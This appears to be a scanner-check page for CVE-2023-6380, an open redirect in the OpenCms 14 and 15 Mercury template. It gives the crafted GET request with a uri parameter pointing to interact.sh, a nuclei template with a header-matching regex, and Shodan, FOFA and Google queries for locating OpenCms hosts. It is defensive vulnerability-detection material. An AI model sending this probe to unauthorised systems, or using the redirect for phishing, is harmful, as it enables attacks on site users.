OpenCms 14 & 15 - Open Redirect

mediumseverity

6.1CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

Open redirect vulnerability has been found in the Open CMS product affecting versions 14 and 15 of the 'Mercury' template

Impact

Unauthenticated attackers can redirect users to malicious external sites via the uri parameter, potentially facilitating phishing attacks or malware distribution.

Fix

Update OpenCMS to version 16 or later.

How to confirm it

Send: GET {{BaseURL}}/system/modules/alkacon.mercury.template.jsondemo/elements/jsonapi.jsp?content&fallbackLocale&locale=en&rows=1&uri=http://interact.sh
Positive when: matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$/

Run it with nuclei: nuclei -id CVE-2023-6380 -u <target>

The full check

id: CVE-2023-6380

info:
  name: OpenCms 14 & 15 - Open Redirect
  author: MiguelSegoviaGil
  severity: medium
  description: |
    Open redirect vulnerability has been found in the Open CMS product affecting versions 14 and 15 of the 'Mercury' template
  impact: |
    Unauthenticated attackers can redirect users to malicious external sites via the uri parameter, potentially facilitating phishing attacks or malware distribution.
  remediation: |
    Update OpenCMS to version 16 or later.
  reference:
    - https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-alkacon-software-opencms
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://github.com/msegoviag/msegoviag
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-6380
    cwe-id: CWE-601
    epss-score: 0.01594
    epss-percentile: 0.75913
    cpe: cpe:2.3:a:alkacon:opencms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: alkacon
    product: opencms
    shodan-query:
      - "/opencms/"
      - http.title:"opencms"
      - cpe:"cpe:2.3:a:alkacon:opencms"
    fofa-query: title="opencms"
    google-query: intitle:"opencms"
  tags: cve,cve2023,redirect,opencms,alkacon,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/system/modules/alkacon.mercury.template.jsondemo/elements/jsonapi.jsp?content&fallbackLocale&locale=en&rows=1&uri=http://interact.sh"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'

References

Use this check only on systems you are authorised to test. Where the data comes from